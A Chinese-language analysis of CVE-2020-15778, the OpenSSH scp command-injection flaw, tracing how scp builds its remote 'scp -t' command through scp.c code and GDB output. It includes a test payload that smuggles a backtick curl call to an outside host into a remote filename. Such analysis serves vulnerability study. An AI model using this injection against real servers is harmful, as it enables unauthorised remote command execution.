CVE-2020-15778(OpenSSH scp 命令注入漏洞)分析

受影响的版本:<= OpenSSH-8.3p1

这个漏洞属于一个设计上的缺陷,用 scp 将文件拷贝到远程主机时,可以在文件名部分注入一段 shell 代码让目标主机执行,测试用的 Payload 如下:

scp 文件 user@server:'`curl www.shellcodes.org`hi'

在拷贝文件之前目标服务器就会执行 curl。事实上 scp 传输协议是封装在 SSH 协议之上的,当我们拷贝文件到远程主机时,实际是通过 ssh 命令在远程主机上启动了:

scp -t 文件

-t 参数是一个没文档化的参数,仅用在 scp 命令内部通信。

接下来就通过这条通信来传输 SCP 协议,也就是利用了 SSH 自身来加密传输。比如执行如下命令时:

scp /etc/hosts tx:my_hosts

最终会调用 ssh 命令在主机 tx 上启动 scp -t:

/usr/bin/ssh -x -oForwardAgent=no -oPermitLocalCommand=no -oClearAllForwardings=yes -oRemoteCommand=none -oRequestTTY=no -- tx scp -t my_hosts

以上结论可以通过 GDB 跟踪 scp 命令来观察,scp 最后会依次调用 toremote、do_cmd 两个关键函数来实现,关键代码如下:

int
do_cmd(char *host, char *remuser, int port, char *cmd, int *fdin, int *fdout)
{
  ...
  /* fork ssh 进程 */
  do_cmd_pid = fork();
  if (do_cmd_pid == 0) {
    close(pin[1]);
    close(pout[0]);
    dup2(pin[0], 0);
    dup2(pout[1], 1);
    close(pin[0]);
    close(pout[1]);

    replacearg(&args, 0, "%s", ssh_program);
    if (port != -1) {
      addargs(&args, "-p");
      addargs(&args, "%d", port);
    }
    if (remuser != NULL) {
      addargs(&args, "-l");
      addargs(&args, "%s", remuser);
    }
    addargs(&args, "--");
    addargs(&args, "%s", host);
    /*
      cmd 变量内容可以通过 GDB 来观察:
      (gdb) p   cmd
      $2 = 0x55555557a4e0 "scp -t my_hosts"
    */
    addargs(&args, "%s", cmd);

    /* ssh_program 就是 ssh 命令的路径;args.list 保存了 ssh 的参数 */
    execvp(ssh_program, args.list);
    perror(ssh_program);
    exit(1);
  } else if (do_cmd_pid == -1) {
    fatal("fork: %s", strerror(errno));
  }
...
}

这两个函数的实现都位于 scp.c,可以在 GDB 里打断点观察下:

set follow-fork-mode child # 因为是通过 fork 来执行的,所以必须让 GDB 跟进子进程
b toremote
b do_cmd
r /etc/hosts tx:my_hosts

现在来查看 ssh 命令的参数:

do_cmd (host=0x55555557a520 "tx", remuser=0x0, port=-1, cmd=0x55555557a4e0 "scp -t my_hosts", fdin=0x5555555722c0 <remin>, fdout=0x5555555722c4 <remout>) at scp.c:276
(gdb) p *args.list@11
$1 = {0x55555557a540 "/usr/bin/ssh", 0x555555579710 "-x", 0x555555579730 "-oForwardAgent=no", 0x555555579750 "-oPermitLocalCommand=no", 0x555555577d70 "-oClearAllForwardings=yes",
  0x555555579770 "-oRemoteCommand=none", 0x555555579790 "-oRequestTTY=no", 0x5555555795e0 "--", 0x55555557a560 "tx", 0x55555557a580 "scp -t my_hosts", 0x0}

从执行的命令可以看出 scp -t 后面的文件名是可控的,所以上面提的 Payload:

'`curl www.shellcodes.org`hi'

会原封不动地在远程服务器上当作 shell 来执行,这也是这个漏洞的关键点。一般来说能 scp 也就能登录主机执行命令,所以这个漏洞的实际价值并不高。